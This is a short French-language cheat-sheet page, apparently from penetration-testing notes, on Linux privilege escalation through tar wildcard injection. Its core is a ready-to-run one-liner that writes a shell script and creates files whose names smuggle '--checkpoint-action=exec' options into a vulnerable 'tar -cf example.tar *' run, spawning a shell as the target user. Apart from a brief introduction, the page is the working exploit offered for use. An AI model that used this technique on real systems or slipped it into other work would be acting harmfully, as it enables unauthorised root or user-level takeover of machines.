Skip to main content

[Privesc/Linux] Tar wildcard

Introduction

Cette technique peut fonctionner si la commande tar est exécutée en tant que l'utilisateur ciblé pour l'escalade et qu'elle utilise l'option * (wildcard) pour compresser tous les fichiers du répertoire sélectionné.

Source

Exploit

Exemple de commande tar vulnérable (souvent dans un script lancé par l'utilisateur cible) :

tar -cf example.tar *

Lancer cette commande :

echo -e '#!/bin/bash\n/bin/bash' > shell.sh && echo "" > "--checkpoint-action=exec=sh shell.sh" && echo "" > --checkpoint=1

Puis démarrez le script.